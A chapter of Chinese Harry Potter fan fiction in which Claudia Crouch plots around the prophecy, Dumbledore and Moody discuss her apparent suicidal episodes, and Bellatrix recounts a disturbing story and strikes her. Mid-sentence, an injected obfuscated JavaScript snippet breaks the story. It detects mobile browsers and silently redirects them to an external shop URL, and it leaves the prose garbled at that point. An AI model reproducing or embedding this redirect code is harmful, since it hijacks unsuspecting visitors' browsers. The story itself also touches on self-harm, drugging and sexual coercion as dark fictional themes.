“……总之就是这样,我觉得他们是异想天开。”克劳狄亚喝了一口红茶,忍不住皱眉,赶紧又忍住——太浓了。
“我不觉得。”邓布利多教授倒是对浓茶接受度十分良好,毕竟这就是他自己泡的,“上一次是在深夜,我和米勒娃都在学校,而且都愿意相信他——只要给哈利一个无可求助的绝境,他未必不会亲自冒这个险。”
“可是……”克劳狄亚有些纠结,“可是大脚板是霍格沃茨的教授啊?”
如果霍格沃茨的教授能在霍格沃茨的学生眼皮子底下失踪,那他们才真是要完蛋了呢。
“我承认这的确是一份令人负担的工作,但哪怕是霍格沃茨的教授,每年也是有两个月假期的。”邓布利多教授一口气喝光了茶水,两道雪白的眉毛惬意地在杯沿上方轮番跳来跳去,“不,或许不用那么晚——大考结束、长假在即,是大家最容易放松警惕的时候,过往的经验已经告诉我们了。”
When.
反正她也没打算真的骗走这对教父子——感谢麦格教授,感谢她代表霍格沃茨欢迎她。
Who.
至于神秘事务司,她是没去过,可波特也没去过,梦里去过那是梦里的事。她记得叔叔曾经说过,走廊尽头的那两扇对开大门之后是类似迷宫的地方,除了缄默人,转晕谁都不冤枉。
克劳狄亚看了看邓布利多教授,没敢多打听。从大脚板父子嘴里套话显然更容易些,她这里问得多了,一会儿再被发现了,他们这些当老师的,一个一个,都敏于洞察学生的小心思。
Where.
“他们到底要干什么?我只知道和一个预言球有关。”克劳狄亚好奇地问道,“巫师什么时候开始重视预言了?”
“将屡次失败归咎为天意和早已注定好的命运,总比接受自己几次三番沦为波特一家的手下败将,来得容易许多吧?”邓布利多教授失笑,“对汤姆来说,这确实很重要。”
“对您呢,对波特呢?”
“没什么用。”邓布利多教授指一指眉心,“要知道,那个预言球本就是来自于这里,你要是好奇,克劳狄亚,我现在就可以背给你听——哈利想听我还不告诉他呢。”
克劳狄亚下意识还是想婉拒,但为了计划的灵活性,又不得不点头。邓布利多教授说是要背给她听,最后还是选择变出一份纸笔,克劳狄亚眼睛紧跟笔尖,在羽毛笔落下句点的同时,她已经看完了。
“怎么样?”邓布利多教授摆出典型的教师式循循善诱的姿态,“有什么心得?”
克劳狄亚欲言又止,邓布利多教授连连鼓励……克劳狄亚大胆发言!
“这不纯废话吗?”她皱着眉,“这有什么值得抢成这样的?”
邓布利多教授哈哈大笑起来。
“没、没错吧?”她又有些不自信了,“放在二十年前,这的确是个很要命的预言,但现在看来……预言已经验证了一大部分了。”
“但是汤姆不知道。”邓布利多教授笑了起来,“当初他也没听全。”
“所以他只想满足一下自己的好奇心,类似于麻瓜的强迫症,没追完的小说一定要补全结尾?”克劳狄亚连连眨着眼睛,觉得这一切都很荒诞,“那您不如给他吧,告诉他这一切都是他自己找的,是他给自己惹下一位惹不起的死敌,当初如果不迷信现在一点事儿都没有——真的,您能把他气死。”
邓布利多教授再度笑了起来,他随手用魔杖一指,记载着预言的羊皮纸立即无风自燃,顷刻间烧得一干二净。
“只有汤姆不知道,才会把它当成一件头等大事,咬住不松口——巴蒂的暗杀计划屡屡失利,别说怀疑到西弗勒斯头上,他甚至压根都不关注。”邓布利多教授漫不经心用魔杖拨弄着桌上的一小撮黑灰,“足足钓了他一整年……但我目前还没有想好,是彻底耍弄他一顿,还是干脆让他与预言球永远失之交臂,从此以后每每想起来就觉得心虚,并受制于虚无缥缈的命运……很难选吧?”
一点都不难选,克劳狄亚心想,对她来说——孩子想要就给他,非把他逗得发急了、开始撒泼打滚搞破坏的时候,后悔也晚了。
————————
送走克劳狄亚·克劳奇,阿不思·邓布利多重又走回会客室,客位上已经迎来了新人——“疯眼汉”阿拉斯托·穆迪。
准确地说,是“旧人”——鉴于对霍格沃茨全体学生来说,这张脸、这副身躯的杀伤力比巴蒂·克劳奇本人都大得多,所以一听见女巫的声音,疯眼汉本人就很知趣地回避了。
“我不赞成,邓布利多。”一进门就呛他,他就说他很难和穆迪聊到一起去。
“我没做什么。”邓布利多轻松地说,还不忘逗他,“我做什么了,你倒是说说看?”
穆迪“你”了半天,也没“你”出个究竟,他倒也不气馁,换个角度继续批评他:“我们是没人了吗?凤凰社里这么多人,她算是顶年轻的那一批,她还、还那样……算了,我搞不明白现在这些麻瓜的道道,但是——”
“西弗勒斯分身乏术,我只能要求他在关键的大事上稍作把握。这样一来,食死徒那边我们就需要一个新的突破口。”
“这件事斯内普不知道?”穆迪明显地一怔。
“以一个双面间谍的立场来看,一旦西弗勒斯得知巴蒂的计划,他就必须通知凤凰社,再反过来将我们的应对告知食死徒——如果汤姆不肯取消计划,双方就得借康奈利·福吉的地盘明着打上一场。”
“谁还怕他了?”穆迪哼道。
“我怕。”邓布利多轻声道,“我不想失去你们任何一个人。而且依我看,汤姆也想尽可能快地恢复从前的实力,尽可能大地保存现有的力量,那么越晚公开复出,就越对他有利。”
“哦……不明白。”
邓布利多赶紧喝了口冷茶顺了顺气。
“总之,汤姆绝不会想要闹大,所以他宁愿不告诉西弗勒斯——除非他想失去这个间谍。强行要求双面间谍单方面保密是毫不现实的,就像大混战里忽然要求必须活捉某个人一样,汤姆从不是无理取闹的人。”
“不是,你等一等。”穆迪重重地用拐杖敲着地面,“你不想失去别人,但是失去克劳奇就可以?”
“虽然威森加摩已经不再有我的位次,但我依然可以控告你诽谤。”
疯眼汉笑了起来。“话要说清楚嘛,邓布利多!”他说,“听上去那小丫头要去做一件大事,她的计划一定都写在脸上。”
“克劳狄亚·克劳奇想要抢先毁掉预言球,或者干脆白送给汤姆。”邓布利多点点头,“对她来说大概前者更容易——为什么不让她去呢?”
“除非她其实是伏地魔的亲妹妹——不,我觉得,哪怕她是伏地魔的亲妹妹,她毁了伏地魔的宝贝球球,她也非死不可。”
“你没去过预言厅,阿拉斯托,我去过。所有的预言球都被毫无保护地放在架子上,要毁掉并不难,所有人只要一进到那里就会立即发现这个事实,它们脆弱到哪怕是学生施发的粉碎咒都能引起相当大的连锁反应。”
“也就是说……食死徒提心吊胆等着埋伏哈利的时候,随便什么人在另一头只要——”
“就像多米诺骨牌。”邓布利多比了个手势,感觉自己甚是年轻活泼,至少比塔里那个牙都掉光了的老家伙强。
“不对啊,还是不对!”穆迪拿他的榉木地板滴哩咣啷当小鼓敲,“这么简单她今晚为什么不能去做?我们今晚为什么不能去做?现在下去炸了预言厅,你不用失去任何一个人,伏地魔也不用失去他的食死徒!”
“你曾经是个傲罗,阿拉斯托,还是首席傲罗。”邓布利多不得不提醒他,“为什么‘炸预言厅’在你嘴里比‘今晚吃奶油栗子汤’还要简单?”
“我‘曾经’是个傲罗,”疯眼汉嘿嘿笑,“但现在只是个自由的退休老头。”
他们一齐笑了起来,邓布利多重新泡了一壶热可可,又填满了被退休老头吃空的点心架,才再度坐回桌前。
“这样不好吗?”他望了望门口,“刚刚克劳狄亚看上去好多了,我也觉得她这样就挺好……如果她想,那就让她去好了。”
“总比天天想着自我了断要好,是不是?”穆迪向他这边凑了凑,“怎么,莱姆斯说的是真的?她借住在格里莫广场那几天……一直都没合眼?”
邓布利多想一想就要叹气:“之前在摩洛哥……克劳狄亚自己说是喝醉了什么都不知道,但是……反正麻瓜不这么认为,哪怕是醉鬼也不可能每次都精准地出现在马路中央、即将被潮水淹没的礁石或者摇摇欲坠的天台护栏上吧?”
穆迪大大地叹了口气:“怎么就、怎么就这样了……以前看她都挺好的……她一个人能在伏地魔眼前混那么久,没有堕落,还搭救过两个小倒霉蛋。”
“得不到浇灌的植物最终都是要枯萎的。”邓布利多淡淡地说,指了指杯中散发着清苦甜香的棕色液体,“可可树就该让它生长在光照充足又温暖的地方,在那里它不需要怎么打理就能活,活得还很好,可如果谁要把它移到狂风呼啸的苏格兰高原来,它马上就死给你看。”
“我如果把它移到苏格兰高原……至少会小心翼翼地呵护它。”
“那是你。”邓布利多嘲讽地说,“有人告诉我一棵树就该自己扎根自己立住。”
“我大概能猜到你骂的是谁。”穆迪本来正端着杯子慢慢吹,现在彻底喝不下了,“你应该当着他的面骂。”
难道他没有吗?邓布利多疲惫地想,如果不是早就预见,他何必去管谁和谁谈恋爱?
唐克斯和莱姆斯·卢平,他管过吗?
比尔·韦斯莱爱上一个法国人,这关他什么事?
哈利·波特和金妮·韦斯莱眉来眼去,当他不知道吗?
阿拉斯托·穆迪将终生都奉献给了事业,跟他说也说不明白,还有泄露他人隐私的嫌疑。
“毕竟不是西弗勒斯把树移栽过来的——克劳奇父子、汤姆甚至克劳狄亚自己,你能说她没有责任吗?”邓布利多摇摇头,“我还记得克劳狄亚刚入学的时候,她知道自己的短处,从很小的时候她就知道……”
现在看来,那孩子的心是一个不见底的黑洞,她对于爱的需求无休无尽,要多少也填不满。但她偏偏又很清醒,对于她这样的人来说,爱上一个死人比发了疯地去爱、去索求一个活人更安全。宗教不过是一面镜子,是她哄着自己玩儿的东西,她投入多少爱,就收获多少爱。
如果她能一直清醒下去,倒也好了。但人们偏偏总在错误的时间迷失,他是这样,克劳狄亚也是这样。他在最需要同路之人的时候爱上一个独夫,她呢,她的爱源源不断地被吞噬了进去,只到手不知道有没有的可怜一点儿,因为西弗勒斯·斯内普的内心也是一个填不满的黑洞。
————————
回到湖畔的“度假木屋”,克劳狄亚先去厨房找水喝。一进门就见到贝拉特里克斯站在厨房正中的大桌旁边,闪闪和多娜各自装作很忙的样子,生怕引起女魔头注意。
她顿了一下,硬着头皮继续往里走。
“哦下午好,夫人。”克劳狄亚笑着打了个招呼。
贝拉特里克斯手里端着一只水晶杯,杯中的绿色药液还剩个底儿。她用眼角瞥了克劳狄亚一眼,眯着眼睛继续喝药,正当克劳狄亚以为她不打算理睬自己时,她却忽然问了一句:“你去哪里了?”
“我去找邓布利多教授喝下午茶了。”克劳狄亚大大方方地转身面对着贝拉特里克斯,晃了晃自己刚翻出的新杯子,闪闪要过来帮忙,被她摆手拒绝。
贝拉特里克斯喝着魔药,杯子调开一个微妙的角度,眼睛盯在她身上。
“嗯?”克劳狄亚无辜地朝她努努嘴,“您——哦是这样的,凤凰社不知道,我只跟他们说我搬出去住了。”
按照家养小精灵的工作逻辑,热茶都是单独泡好送去的,想喝现成必然没有。克劳狄亚拎了拎炉台上搁着的大铜壶,也是空的,平常这壶总是坐在火上,多娜会保证随时都有充足的热水可用,但……克劳狄亚看了看皱着眉喝药、存在感十分之强的贝拉特里克斯,觉得多娜和闪闪无论怎么疏忽也情有可原。
凉水壶也正在贝拉特里克斯手边,大概她还想漱漱口,平衡剂有一股薄荷味儿,有的人就是不喜欢。
克劳狄亚一秒都没犹豫,拎起铜壶就往贮水罐那边去。倒不是湖区的自来水不能喝,而是巴蒂认为黑魔王这种高贵又易碎的娇嫩小人儿必须拿清冽甘甜又必须得额外去打的山泉水仔细呵护着——从前是克劳狄亚负责,她要一路默背《玫瑰经》才能忍住不往里面吐口水。
凉水壶忽然原地平移两尺,飞起来灌满了克劳狄亚的马克杯。贝拉特里克斯依然慢腾腾地喝着药剂,仿佛液体里悬浮的不是蓝色沉淀物,而是一把铁图钉。
“我还以为您讨厌我?”克劳狄亚惊疑不定地看着她,一面把铜壶放回原位。
“那把扫帚。”贝拉特里克斯终于喝完了,她厌烦地将喝空的水晶杯用力扣在桌面上,“我还没忘。”
一连几句话,都在正常分贝内,还蛮有逻辑。除了还是有点点神经质之外,贝拉特里克斯·莱斯特兰奇都和之前判若两人。
“当食死徒是要有点技巧的。”
贝拉特里克斯瞟了她一眼,声音稍嫌沙哑。她那双浓墨重彩的眼睛好像总是睁不开似的,视线沿着低垂的、密密的睫毛流下去,最后才诱惑性地向上一挑,仿佛灌木林的小仙子探头向外看。
克
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601199|202828||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
劳狄亚戒备地看着她,莱斯特兰奇夫妇是一众越狱犯里“症状”最轻的,难道不是因为体质特殊吗?
或许一直以来都是错的?他们都错了,贝拉特里克斯根本不像外界误以为的那样,是个头脑简单、一激就着的疯子,罗道夫斯也绝不是个普通的“名女人之夫”,那天晚上从他脱困、到一句话指出巴蒂的弊病,中间过去有十分钟没有?
每个人都有技巧,所以他们才会被伏地魔包容甚至纵容。堂皇如斯内普教授,每天在霍格沃茨都端着范儿,到了他亲爱的黑魔王面前,说出口的“情话”连伏地魔都招架不住。
食死徒的面具从来不是戴在脸上,只有巴蒂……嘿只有他压根就不戴!
克劳狄亚不得不自己的赴死计划进行一番大刀阔斧的修改——现在看来,哪怕是背后偷袭,她也不是莱斯特兰奇夫妇的对手,如果不能在混战中速死,那她的下场……那还不如先活着。
“转告巴蒂……”离开前,贝拉特里克斯用魔杖戳了戳她的肩膀,“主人的赠礼他得找个地方妥善收好,最好不要随身携带。”
“有、有人要抢?”克劳狄亚一愣,“谁敢抢!!!”
贝拉特里克斯都懒得翻白眼。
“主人曾经赏赐给我一只纯金打造的双耳杯,那时候……”她不屑地上上下下扫了克劳狄亚一眼,“你恐怕还没出生。”
“那、那还挺值钱的。”克劳狄亚硬着头皮夸夸,“又实用……”
“有很长一段时间,我用它来饮用一小杯妖精酿造的葡萄酒,在每天晚上、我应召前往主人的房间之前。”
不是,你等等、你等等——
“大概只有一口的量,我以前酒量很好,从来没有醉过。自从开始使用那只金杯,我几乎次次都在那一小口葡萄酒的香气中失去理智。”
给罗斯默塔她们就发财了,阿门。
“有一天早上,罗道夫斯在床单上发现一个死婴,它浑身都是深紫红色的,长得跟黑魔王年轻时一模一样。”
克劳狄亚一口水喷了出来,咳嗽得几乎要跪倒在地,只能死命地抱着桌子腿。
“对不起,我是说……”她狼狈地抹拭着嘴唇,“我很抱歉,夫人……”
这次是真的抱歉,她一点儿都不乐意听。
但贝拉特里克斯已然说得入了迷,她根本不是说给克劳狄亚听的。那双慵懒的黑眼睛完全地睁开了,因为痛苦而睁得大大大的,淡色的丰厚嘴唇微微突出,仿佛虚空里有什么东西能把她真实的灵魂钓出来一样。
“我总觉得他那时候还是有气儿的,因为眼睛也睁着嘛……当然是黑眼睛,我看得很仔细,他瞳孔边缘会微微泛些红色,罗道夫斯比我先效忠黑魔王,他说黑魔王第一次莅临莱斯特兰奇家时就是这样……你看过纳吉尼没有?”
那也是老朋友了,克劳狄亚心想。她不在的时候纳吉尼并没有得到充分的照料,炎症已经向着全身扩散开了。现在她每天都会看到那副孱弱的巨蟒躯壳吃力地负载着脑袋里不知道什么东西,艰难地前行。
贝拉特里克斯下一句话就解开了她对于纳吉尼脑容物的疑惑,也让她不寒而栗——
“那眼神和纳吉尼一模一样。”
克劳狄亚膝盖一软,瘫倒在地,她完全不敢细想贝拉特里克斯话里的含义,甚至都不需要动脑筋想出一句合适的回答。难道她不说“您吓到我了”,这里还有人不知道她正脸色苍白地发着抖吗?
“您为什么……”她努力克制着眼泪,“为什么不自己去跟巴蒂说呢?他一定更相信您,我的意思是说,您在这件事上是如此地富有权威和……经验。”
贝拉特里克斯纵声大笑起来,多娜正捧着刷洗干净的锅盖往后门去,被吓得差点儿摔倒,还好闪闪机敏地抓住了她的脖子。
“巴蒂觉得我们都在嫉妒他!”贝拉特里克斯乐不可支,“我怕他每天晚上都梦见别人要抢他的宝贝,然后被那噩梦吓得尿床!”
她状态这么不稳定吗?克劳狄亚诡异地冷静下来,把已经扔进废纸篓的第一版计划又拉出来拍了拍灰。
“其实我们是可怜他。”
贝拉特里克斯笑着、哭着,她走了过来,纡尊降贵地伸出一只手。
克劳狄亚恍恍惚惚,将信将疑,把自己的手搭上去——贝拉特里克斯立即把手一缩,躲过了克劳狄亚的抓握,紧接着扬手就往克劳狄亚脸上抽!
幸运的是,克劳狄亚早在一下扑空时就出于本能向后躲避,不幸的是,她正倚靠着那张倒霉的大桌……
木桌被撞得狠狠一歪,所有锅碗瓢盆、杯盘碟盏都稀里哗啦乱响不迭,两位小精灵飞奔着过来救场。克劳狄亚捂着肿起来的后脑勺,又摸一摸被长指甲划破的颧骨,感到一阵心累。
贝拉特里克斯开心地笑了起来,那是一种小孩子被满足要求后的笑容,仿佛这只是一个成功的恶作剧。
她甩着巴掌走了,克劳狄亚也慢吞吞站起来,等贝拉特里克斯深青色的长袍飘摇着消失在走廊里,她才向小精灵们打了个招呼,往自己房间走——厨房附近有一条专供仆人行走的楼梯,绕向大宅背面,冬天楼板会结冰,刮风的时候人会打晃,但好处是除了她,基本没人走。
呃,也不一定,就是……人是不是有点儿多了?
克劳狄亚停下脚步,有些拿不准自己该继续向前、还是折回下一层,走室内大楼梯回去。因为斯内普教授、巴蒂还有另外两个她懒得记名字的男巫,正堵在门口,抽烟。
准确地说,只有一个男巫正在十分享受地抽着烟斗,大概本就有什么秘密交易顺便出来抽一斗这样子……
“你们不能去别的地方抽吗?”她清了清嗓子,这就算打过招呼了,“这离我房间最近,风向又顺,我出门前可没关窗!”
“现在关了。”巴蒂无所谓地晃了晃魔杖,克劳狄亚听见“砰”的一声。
“好吧!”克劳狄亚比划了个手势,“那我能……?”
“从里面走吧。”巴蒂望了望四周。
这条楼梯很窄,要是一上一下对面而行、又都不肯退回去的话,不如干脆直接行个贴面礼。
克劳狄亚没说什么,只是点点头,转身前却忽然听到斯内普教授问她:“你脸怎么了?”
她忽然很想哭,并且几乎无法压抑住语气里的泪意,只好装作很害怕的样子,捂着脸不说话。等到巴蒂耐不住性子要走过来看了,才含含糊糊地回答说:“被一棵醋栗树的枝条划了一下……没什么大事儿。”
“下次走路时记得把眼睛睁开。”巴蒂忍不住笑,“就你那横冲直撞的样子,醋栗树保准比你更疼。”
克劳狄亚立马就不想哭了,她咬着牙、忍着,心想她只要再坚持一个月,或许不到一个月,她就能彻底摆脱这一切。